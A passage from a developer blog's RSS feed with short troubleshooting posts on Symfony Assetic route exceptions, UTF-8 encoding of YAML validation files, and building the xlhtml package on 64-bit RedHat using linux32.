<p>Good luck! <img src='http://www.leccionespracticas.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Related posts:<ol>
<li><a href='http://www.leccionespracticas.com/informatica-web/solved-symfony-assets-an-exception-has-been-thrown-during-the-rendering-of-a-template-route-_assetic_xxx-does-not-exist/' rel='bookmark' title='[SOLVED] Symfony Assets: &#8220;An exception has been thrown during the rendering of a template (&#8220;Route &#8220;_assetic_XXX&#8221; does not exist.&#8221;)'>[SOLVED] Symfony Assets: &#8220;An exception has been thrown during the rendering of a template (&#8220;Route &#8220;_assetic_XXX&#8221; does not exist.&#8221;)</a></li>
<li><a href='http://www.leccionespracticas.com/informatica-web/symfony-informatica-web/symfony-disable-the-web-debug-toolbar-in-prod-environment/' rel='bookmark' title='Symfony: disable the web debug toolbar in PROD environment [SOLVED]'>Symfony: disable the web debug toolbar in PROD environment [SOLVED]</a></li>
<li><a href='http://www.leccionespracticas.com/informatica-web/symfony-como-instalar-un-bundle/' rel='bookmark' title='Symfony: cómo instalar un Bundle (FOSJsRoutingBundle)'>Symfony: cómo instalar un Bundle (FOSJsRoutingBundle)</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.leccionespracticas.com/informatica-web/symfony-yui-css-compression-with-assetic-on-windows-wamp-systems-solved/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>[SOLVED] Symfony Assets: &#8220;An exception has been thrown during the rendering of a template (&#8220;Route &#8220;_assetic_XXX&#8221; does not exist.&#8221;)</title>
		<link>http://www.leccionespracticas.com/informatica-web/solved-symfony-assets-an-exception-has-been-thrown-during-the-rendering-of-a-template-route-_assetic_xxx-does-not-exist/</link>
		<comments>http://www.leccionespracticas.com/informatica-web/solved-symfony-assets-an-exception-has-been-thrown-during-the-rendering-of-a-template-route-_assetic_xxx-does-not-exist/#comments</comments>
		<pubDate>Sat, 07 Apr 2012 15:45:22 +0000</pubDate>
		<dc:creator>Miguel</dc:creator>
				<category><![CDATA[Informática - web]]></category>
		<category><![CDATA[Symfony]]></category>
		<category><![CDATA[assetic]]></category>
		<category><![CDATA[assets]]></category>
		<category><![CDATA[development]]></category>
		<category><![CDATA[exception]]></category>
		<category><![CDATA[symfony]]></category>
		<category><![CDATA[templates]]></category>
		<category><![CDATA[twig]]></category>

		<guid isPermaLink="false">http://www.leccionespracticas.com/?p=2008</guid>
		<description><![CDATA[These days I am learning some Symfony and been struggling with Assetic. In the production environment, I added some image assets to my templates like follows: &#60;img src=&#34;{{ asset('bundles/cursoe5/images/en.png') }} &#34; alt = &#34;bandera&#34;/&#62; It worked like a charm after running: php app/console assets:install web But whenever I tried to add assets in this way: [...]
Related posts:<ol>
<li><a href='http://www.leccionespracticas.com/informatica-web/symfony-yui-css-compression-with-assetic-on-windows-wamp-systems-solved/' rel='bookmark' title='Symfony: Yui CSS compression with Assetic on Windows (WAMP) systems [SOLVED]'>Symfony: Yui CSS compression with Assetic on Windows (WAMP) systems [SOLVED]</a></li>
<li><a href='http://www.leccionespracticas.com/informatica-web/symfony-como-instalar-un-bundle/' rel='bookmark' title='Symfony: cómo instalar un Bundle (FOSJsRoutingBundle)'>Symfony: cómo instalar un Bundle (FOSJsRoutingBundle)</a></li>
<li><a href='http://www.leccionespracticas.com/informatica-web/symfony-informatica-web/symfony-disable-the-web-debug-toolbar-in-prod-environment/' rel='bookmark' title='Symfony: disable the web debug toolbar in PROD environment [SOLVED]'>Symfony: disable the web debug toolbar in PROD environment [SOLVED]</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>These days I am learning some <a href="http://www.leccionespracticas.com/?s=symfony&#038;search=">Symfony</a> and been struggling with Assetic. In the production environment, I added some image assets to my templates like follows:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;</span>img <span style="color: #007800;">src</span>=<span style="color: #ff0000;">&quot;{{ asset('bundles/cursoe5/images/en.png') }} &quot;</span> alt = <span style="color: #ff0000;">&quot;bandera&quot;</span><span style="color: #000000; font-weight: bold;">/&gt;</span></pre></div></div>

<p>It worked like a charm after running:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">php app<span style="color: #000000; font-weight: bold;">/</span>console assets:<span style="color: #c20cb9; font-weight: bold;">install</span> web</pre></div></div>

<p>But whenever I tried to add assets in this way:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #7a0874; font-weight: bold;">&#123;</span><span style="color: #000000; font-weight: bold;">%</span> image
      <span style="color: #ff0000;">'@cursoe5Bundle/Resources/public/images/es.png'</span>
<span style="color: #000000; font-weight: bold;">%</span><span style="color: #7a0874; font-weight: bold;">&#125;</span>
<span style="color: #000000; font-weight: bold;">&lt;</span>img <span style="color: #007800;">src</span>=<span style="color: #ff0000;">&quot;{{ asset_url }} &quot;</span> <span style="color: #007800;">alt</span>=<span style="color: #ff0000;">&quot;bandera&quot;</span> <span style="color: #000000; font-weight: bold;">/&gt;</span>
<span style="color: #7a0874; font-weight: bold;">&#123;</span><span style="color: #000000; font-weight: bold;">%</span> endimage <span style="color: #000000; font-weight: bold;">%</span><span style="color: #7a0874; font-weight: bold;">&#125;</span></pre></div></div>

<p>All I got were exceptions arising: <em>An exception has been thrown during the rendering of a template (&#8220;Route &#8220;_assetic_XXX&#8221; does not exist.&#8221;)</em>.</p>
<p>I did some Google research and <a href="https://groups.google.com/forum/#!topic/symfony2/wuez-yIGjKs/discussion">found</a> these lines. After running them, everything worked. Still wondering what the problem was, and whether these lines are all necessary or not. They do the job, anyways <img src='http://www.leccionespracticas.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">php app<span style="color: #000000; font-weight: bold;">/</span>console <span style="color: #660033;">--env</span>=dev cache:<span style="color: #c20cb9; font-weight: bold;">clear</span> <span style="color: #660033;">--no-debug</span>
php app<span style="color: #000000; font-weight: bold;">/</span>console <span style="color: #660033;">--env</span>=dev assetic:dump <span style="color: #660033;">--no-debug</span>
php app<span style="color: #000000; font-weight: bold;">/</span>console <span style="color: #660033;">--env</span>=dev assets:<span style="color: #c20cb9; font-weight: bold;">install</span> web <span style="color: #660033;">--no-debug</span></pre></div></div>

<p>For the curious ones, here is my template. Note that it works both ways:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #7a0874; font-weight: bold;">&#123;</span><span style="color: #666666; font-style: italic;"># src/curso/e5Bundle/Resources/views/Default/sesiones.html.twig #}</span>
<span style="color: #000000; font-weight: bold;">&lt;</span>style<span style="color: #000000; font-weight: bold;">&gt;</span>	<span style="color: #000000; font-weight: bold;">*</span><span style="color: #7a0874; font-weight: bold;">&#123;</span>background-color:<span style="color: #666666; font-style: italic;">#333;}&lt;/style&gt;</span>
<span style="color: #000000; font-weight: bold;">&lt;</span>div <span style="color: #007800;">id</span>=<span style="color: #ff0000;">&quot;message&quot;</span> <span style="color: #007800;">style</span>=<span style="color: #ff0000;">&quot;width: 50%; margin:auto; border: 5px dashed #6F6; font-weight:bold;padding:5px; font-family:Verdana, Geneva, sans-serif;color:#6F6&quot;</span><span style="color: #000000; font-weight: bold;">&gt;</span>
	<span style="color: #7a0874; font-weight: bold;">&#123;</span><span style="color: #000000; font-weight: bold;">%</span> <span style="color: #000000; font-weight: bold;">if</span> locale == <span style="color: #ff0000;">'en'</span> <span style="color: #000000; font-weight: bold;">%</span><span style="color: #7a0874; font-weight: bold;">&#125;</span>
		<span style="color: #000000; font-weight: bold;">&lt;!</span>-- <span style="color: #000000; font-weight: bold;">&lt;</span>img <span style="color: #007800;">src</span>=<span style="color: #ff0000;">&quot;{{ asset('bundles/cursoe5/images/en.png') }} &quot;</span> alt = <span style="color: #ff0000;">&quot;bandera&quot;</span><span style="color: #000000; font-weight: bold;">/&gt;</span>--<span style="color: #000000; font-weight: bold;">&gt;</span>
		<span style="color: #7a0874; font-weight: bold;">&#123;</span><span style="color: #000000; font-weight: bold;">%</span> image
			<span style="color: #ff0000;">'@cursoe5Bundle/Resources/public/images/es.png'</span>
		<span style="color: #000000; font-weight: bold;">%</span><span style="color: #7a0874; font-weight: bold;">&#125;</span>
			<span style="color: #000000; font-weight: bold;">&lt;</span>img <span style="color: #007800;">src</span>=<span style="color: #ff0000;">&quot;{{ asset_url }} &quot;</span> <span style="color: #007800;">alt</span>=<span style="color: #ff0000;">&quot;bandera&quot;</span> <span style="color: #000000; font-weight: bold;">/&gt;</span>
		<span style="color: #7a0874; font-weight: bold;">&#123;</span><span style="color: #000000; font-weight: bold;">%</span> endimage <span style="color: #000000; font-weight: bold;">%</span><span style="color: #7a0874; font-weight: bold;">&#125;</span>
	<span style="color: #7a0874; font-weight: bold;">&#123;</span><span style="color: #000000; font-weight: bold;">%</span> elseif locale == <span style="color: #ff0000;">'fr'</span> <span style="color: #000000; font-weight: bold;">%</span><span style="color: #7a0874; font-weight: bold;">&#125;</span>
		<span style="color: #000000; font-weight: bold;">&lt;</span>img <span style="color: #007800;">src</span>=<span style="color: #ff0000;">&quot;{{ asset('bundles/cursoe5/images/fr.png') }} &quot;</span> alt = <span style="color: #ff0000;">&quot;bandera&quot;</span><span style="color: #000000; font-weight: bold;">/&gt;</span>
	<span style="color: #7a0874; font-weight: bold;">&#123;</span><span style="color: #000000; font-weight: bold;">%</span> elseif locale  == <span style="color: #ff0000;">'de'</span> <span style="color: #000000; font-weight: bold;">%</span><span style="color: #7a0874; font-weight: bold;">&#125;</span>
		<span style="color: #000000; font-weight: bold;">&lt;</span>img <span style="color: #007800;">src</span>=<span style="color: #ff0000;">&quot;{{ asset('bundles/cursoe5/images/de.png') }} &quot;</span> alt = <span style="color: #ff0000;">&quot;bandera&quot;</span><span style="color: #000000; font-weight: bold;">/&gt;</span>
	<span style="color: #7a0874; font-weight: bold;">&#123;</span><span style="color: #000000; font-weight: bold;">%</span> <span style="color: #000000; font-weight: bold;">else</span> <span style="color: #000000; font-weight: bold;">%</span><span style="color: #7a0874; font-weight: bold;">&#125;</span>
		<span style="color: #000000; font-weight: bold;">&lt;</span>img <span style="color: #007800;">src</span>=<span style="color: #ff0000;">&quot;{{ asset('bundles/cursoe5/images/es.png') }} &quot;</span> alt = <span style="color: #ff0000;">&quot;bandera&quot;</span><span style="color: #000000; font-weight: bold;">/&gt;</span>
	<span style="color: #7a0874; font-weight: bold;">&#123;</span><span style="color: #000000; font-weight: bold;">%</span> endif <span style="color: #000000; font-weight: bold;">%</span><span style="color: #7a0874; font-weight: bold;">&#125;</span>
	<span style="color: #000000; font-weight: bold;">&lt;</span>p <span style="color: #007800;">style</span>=<span style="color: #ff0000;">&quot;margin-left:auto; margin-right:auto; text-align:center&quot;</span><span style="color: #000000; font-weight: bold;">&gt;</span><span style="color: #7a0874; font-weight: bold;">&#123;</span><span style="color: #7a0874; font-weight: bold;">&#123;</span> message<span style="color: #000000; font-weight: bold;">|</span>raw <span style="color: #7a0874; font-weight: bold;">&#125;</span><span style="color: #7a0874; font-weight: bold;">&#125;</span><span style="color: #000000; font-weight: bold;">&lt;/</span>p<span style="color: #000000; font-weight: bold;">&gt;</span>
<span style="color: #000000; font-weight: bold;">&lt;/</span>div<span style="color: #000000; font-weight: bold;">&gt;</span></pre></div></div>

<p>Also note that (quote from Symfony book)<br />
<em>    In the dev environment, Assetic generates paths to CSS and JavaScript files that don&#8217;t physically exist on your computer. But they render nonetheless because an internal Symfony controller opens the files and serves back the content (after running any filters).<br />
    This kind of dynamic serving of processed assets is great because it means that you can immediately see the new state of any asset files you change. It&#8217;s also bad, because it can be quite slow. If you&#8217;re using a lot of filters, it might be downright frustrating. </em></p>
<p>More interesting stuff related with Assetic can be found here:<br />
** <a href="http://symfony.com/doc/current/cookbook/assetic/asset_management.html">Asset Management in Symfony</a><br />
** <a href="http://gitnacho.github.com/symfony-docs-es/cookbook/assetic/asset_management.html">Manejar Assets en Symfony (ES)</a><br />
** <a href="http://symfony.com/doc/current/cookbook/assetic/jpeg_optimize.html">Optimize images with Assetic</a><br />
** <a href="http://gitnacho.github.com/symfony-docs-es/cookbook/assetic/jpeg_optimize.html">Optimizar imágenes con Assetic</a><br />
** <a href="https://groups.google.com/forum/#!topic/symfony2/wuez-yIGjKs/discussion">Discussion in Google Groups</a></p>
<p>Related posts:<ol>
<li><a href='http://www.leccionespracticas.com/informatica-web/symfony-yui-css-compression-with-assetic-on-windows-wamp-systems-solved/' rel='bookmark' title='Symfony: Yui CSS compression with Assetic on Windows (WAMP) systems [SOLVED]'>Symfony: Yui CSS compression with Assetic on Windows (WAMP) systems [SOLVED]</a></li>
<li><a href='http://www.leccionespracticas.com/informatica-web/symfony-como-instalar-un-bundle/' rel='bookmark' title='Symfony: cómo instalar un Bundle (FOSJsRoutingBundle)'>Symfony: cómo instalar un Bundle (FOSJsRoutingBundle)</a></li>
<li><a href='http://www.leccionespracticas.com/informatica-web/symfony-informatica-web/symfony-disable-the-web-debug-toolbar-in-prod-environment/' rel='bookmark' title='Symfony: disable the web debug toolbar in PROD environment [SOLVED]'>Symfony: disable the web debug toolbar in PROD environment [SOLVED]</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.leccionespracticas.com/informatica-web/solved-symfony-assets-an-exception-has-been-thrown-during-the-rendering-of-a-template-route-_assetic_xxx-does-not-exist/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Symfony YAML caracteres especiales y tildes [resuelto]</title>
		<link>http://www.leccionespracticas.com/informatica-web/symfony-yaml-caracteres-especiales-y-tildes-resuelto/</link>
		<comments>http://www.leccionespracticas.com/informatica-web/symfony-yaml-caracteres-especiales-y-tildes-resuelto/#comments</comments>
		<pubDate>Fri, 06 Apr 2012 12:20:57 +0000</pubDate>
		<dc:creator>Miguel</dc:creator>
				<category><![CDATA[Informática - web]]></category>
		<category><![CDATA[Symfony]]></category>
		<category><![CDATA[editor]]></category>
		<category><![CDATA[utf]]></category>
		<category><![CDATA[utf-8]]></category>
		<category><![CDATA[utf8]]></category>
		<category><![CDATA[yaml]]></category>
		<category><![CDATA[yml]]></category>

		<guid isPermaLink="false">http://www.leccionespracticas.com/?p=2003</guid>
		<description><![CDATA[Si usas Symfony para desarrollar tus proyectos web estarás familiarizado con los ficheros de validación YML (YAML). Estos ficheros (normalmente llamados validation.yml) contienen reglas del siguiente tipo: curso\TaskBundle\Entity\Task2: properties: task: - NotBlank: ~ dueDate: - NotBlank: ~ - Type: \DateTime description: - MaxLength: { limit: 300, message: &#34;Descripción limitada a {{ limit }} caracteres&#34; } [...]
Related posts:<ol>
<li><a href='http://www.leccionespracticas.com/uncategorized/pdftk-tildes-y-caracteres-especiales-en-metadatos-de-pdf/' rel='bookmark' title='pdftk: tildes y caracteres especiales en metadatos de pdf'>pdftk: tildes y caracteres especiales en metadatos de pdf</a></li>
<li><a href='http://www.leccionespracticas.com/uncategorized/la-n-y-otros-caracteres-especiales-en-iphone/' rel='bookmark' title='La ñ y otros caracteres especiales en Iphone'>La ñ y otros caracteres especiales en Iphone</a></li>
<li><a href='http://www.leccionespracticas.com/uncategorized/mysql-select-distinct-y-tildes-en-utf8-resuelto/' rel='bookmark' title='Mysql SELECT DISTINCT y tildes en utf8 [RESUELTO]'>Mysql SELECT DISTINCT y tildes en utf8 [RESUELTO]</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Si usas <a href="http://symfony.com/">Symfony</a> para desarrollar tus proyectos web estarás familiarizado con los ficheros de validación <strong>YML</strong> (<a href="http://es.wikipedia.org/wiki/YAML">YAML</a>). Estos ficheros (normalmente llamados <strong>validation.yml</strong>) contienen reglas del siguiente tipo:</p>

<div class="wp_syntax"><div class="code"><pre class="xml" style="font-family:monospace;">curso\TaskBundle\Entity\Task2:
    properties:
        task:
            - NotBlank: ~
        dueDate:
            - NotBlank: ~
            - Type: \DateTime
        description:
             - MaxLength: { limit: 300, message: &quot;Descripción limitada a {{ limit }} caracteres&quot; }
        url:
            - Url: 
            - Regex: 
                pattern: &quot;/.*\.es$/&quot;
                message: &quot;La URL debe terminar en .es&quot;</pre></div></div>

<p>Si editas estos ficheros y quieres escribir caracteres con tilde o especiales (por ejemplo, el carácter ñ eñe), asegúrate de guardarlos en UTF-8 SIN <a href="http://es.wikipedia.org/wiki/Marca_de_orden_de_bytes_%28BOM%29">BOM</a>. Si no lo haces, obtendrás errores del tipo:</p>
<p>* <strong><em>The YAML value does not appear to be valid UTF-8</em></strong> (si lo guardas como unicode y contiene tildes) </p>
<p>* <strong><em>Unable to parse XXX at line 1 (near &#8230;</em></strong> (si lo guardas como utf-8 con BOM).</p>
<p>Para evitar estos problemas recomiendo utilizar el editor <a href="http://notepad-plus-plus.org/">Notepad++</a> y en el menú de &#8220;codificación&#8221; marcar &#8220;Codificar en UTF-8 SIN BOM&#8221;. ¡Problema resuelto! <img src='http://www.leccionespracticas.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Related posts:<ol>
<li><a href='http://www.leccionespracticas.com/uncategorized/pdftk-tildes-y-caracteres-especiales-en-metadatos-de-pdf/' rel='bookmark' title='pdftk: tildes y caracteres especiales en metadatos de pdf'>pdftk: tildes y caracteres especiales en metadatos de pdf</a></li>
<li><a href='http://www.leccionespracticas.com/uncategorized/la-n-y-otros-caracteres-especiales-en-iphone/' rel='bookmark' title='La ñ y otros caracteres especiales en Iphone'>La ñ y otros caracteres especiales en Iphone</a></li>
<li><a href='http://www.leccionespracticas.com/uncategorized/mysql-select-distinct-y-tildes-en-utf8-resuelto/' rel='bookmark' title='Mysql SELECT DISTINCT y tildes en utf8 [RESUELTO]'>Mysql SELECT DISTINCT y tildes en utf8 [RESUELTO]</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.leccionespracticas.com/informatica-web/symfony-yaml-caracteres-especiales-y-tildes-resuelto/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Invalid configuration x86_64-unknown-linux-gnu&#8217; [SOLVED]</title>
		<link>http://www.leccionespracticas.com/informatica-sistemas-y-servidores/invalid-configuration-x86_64-unknown-linux-gnu-solved/</link>
		<comments>http://www.leccionespracticas.com/informatica-sistemas-y-servidores/invalid-configuration-x86_64-unknown-linux-gnu-solved/#comments</comments>
		<pubDate>Thu, 29 Mar 2012 09:18:02 +0000</pubDate>
		<dc:creator>Miguel</dc:creator>
				<category><![CDATA[Informática - Sistemas y servidores]]></category>
		<category><![CDATA[configure]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[linux32]]></category>
		<category><![CDATA[redhat]]></category>
		<category><![CDATA[redhat6]]></category>
		<category><![CDATA[x86_64]]></category>
		<category><![CDATA[xlhtml]]></category>

		<guid isPermaLink="false">http://www.leccionespracticas.com/?p=1998</guid>
		<description><![CDATA[I was going to install the xlhtml package in my RedHat 6. Downloaded the code (wget ), extracted its contents, changed directory and run ./configure, as with any usual linux package. But, oh, surprise: wget http://sourceforge.net/projects/chicago/files/xlhtml/backend/xlhtml-0.5.tgz/download tar xzvf xlhtml-0.5.tar.gz cd xlhtml-0.5 &#160; #everything nice till you run ./configure &#160; ./configure checking build system type... Invalid [...]
Related posts:<ol>
<li><a href='http://www.leccionespracticas.com/informatica-sistemas-y-servidores/configure-php-imap-redhat-solved/' rel='bookmark' title='Configure php-imap redhat [solved]'>Configure php-imap redhat [solved]</a></li>
<li><a href='http://www.leccionespracticas.com/utilidades-ofimatica/install-pdftk-from-sources-in-linux-redhat/' rel='bookmark' title='Install pdftk from sources in Linux RedHat'>Install pdftk from sources in Linux RedHat</a></li>
<li><a href='http://www.leccionespracticas.com/informatica-sistemas-y-servidores/linux-sustitucion-de-texto-en-multiples-ficheros-usando-sed-resuelto/' rel='bookmark' title='Linux: Sustitución de texto en múltiples ficheros usando SED [resuelto]'>Linux: Sustitución de texto en múltiples ficheros usando SED [resuelto]</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>I was going to install the xlhtml package in my RedHat 6. Downloaded the code (wget ), extracted its contents, changed directory and run ./configure, as with any usual linux package.</p>
<p>But, oh, surprise:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">wget</span> http:<span style="color: #000000; font-weight: bold;">//</span>sourceforge.net<span style="color: #000000; font-weight: bold;">/</span>projects<span style="color: #000000; font-weight: bold;">/</span>chicago<span style="color: #000000; font-weight: bold;">/</span>files<span style="color: #000000; font-weight: bold;">/</span>xlhtml<span style="color: #000000; font-weight: bold;">/</span>backend<span style="color: #000000; font-weight: bold;">/</span>xlhtml-<span style="color: #000000;">0.5</span>.tgz<span style="color: #000000; font-weight: bold;">/</span>download
<span style="color: #c20cb9; font-weight: bold;">tar</span> xzvf xlhtml-<span style="color: #000000;">0.5</span>.tar.gz
<span style="color: #7a0874; font-weight: bold;">cd</span> xlhtml-<span style="color: #000000;">0.5</span>
&nbsp;
<span style="color: #666666; font-style: italic;">#everything nice till you run ./configure</span>
&nbsp;
.<span style="color: #000000; font-weight: bold;">/</span>configure
checking build system type... Invalid configuration <span style="color: #000000; font-weight: bold;">`</span>x86_64-unknown-linux-gnu<span style="color: #ff0000;">': machine `x86_64-unknown'</span> not recognized</pre></div></div>

<p>But you can make it work just by running it with linux32 = cheat to make it think it is running in a 32bits environment! <img src='http://www.leccionespracticas.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">linux32 .<span style="color: #000000; font-weight: bold;">/</span>configure 
<span style="color: #666666; font-style: italic;">#it does its thing</span></pre></div></div>

<p>And then proceed as usual with:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">linux32 <span style="color: #c20cb9; font-weight: bold;">make</span>
&nbsp;
&nbsp;
<span style="color: #666666; font-style: italic;">#if any errors arise, run:</span>
linux32 .<span style="color: #000000; font-weight: bold;">/</span>config.status Makefile
linux32 <span style="color: #c20cb9; font-weight: bold;">make</span>
<span style="color: #666666; font-style: italic;">#if the 'depcomp' error is spitted, run</span>
<span style="color: #c20cb9; font-weight: bold;">automake</span> <span style="color: #660033;">--add-missing</span>
<span style="color: #666666; font-style: italic;">#and then...</span>
linux32 <span style="color: #c20cb9; font-weight: bold;">make</span> <span style="color: #c20cb9; font-weight: bold;">install</span></pre></div></div>

<p>Related posts:<ol>
<li><a href='http://www.leccionespracticas.com/informatica-sistemas-y-servidores/configure-php-imap-redhat-solved/' rel='bookmark' title='Configure php-imap redhat [solved]'>Configure php-imap redhat [solved]</a></li>
<li><a href='http://www.leccionespracticas.com/utilidades-ofimatica/install-pdftk-from-sources-in-linux-redhat/' rel='bookmark' title='Install pdftk from sources in Linux RedHat'>Install pdftk from sources in Linux RedHat</a></li>
<li><a href='http://www.leccionespracticas.com/informatica-sistemas-y-servidores/linux-sustitucion-de-texto-en-multiples-ficheros-usando-sed-resuelto/' rel='bookmark' title='Linux: Sustitución de texto en múltiples ficheros usando SED [resuelto]'>Linux: Sustitución de texto en múltiples ficheros usando SED [resuelto]</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://www.leccionespracticas.com/informatica-sistemas-y-servidores/invalid-configuration-x86_64-unknown-linux-gnu-solved/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

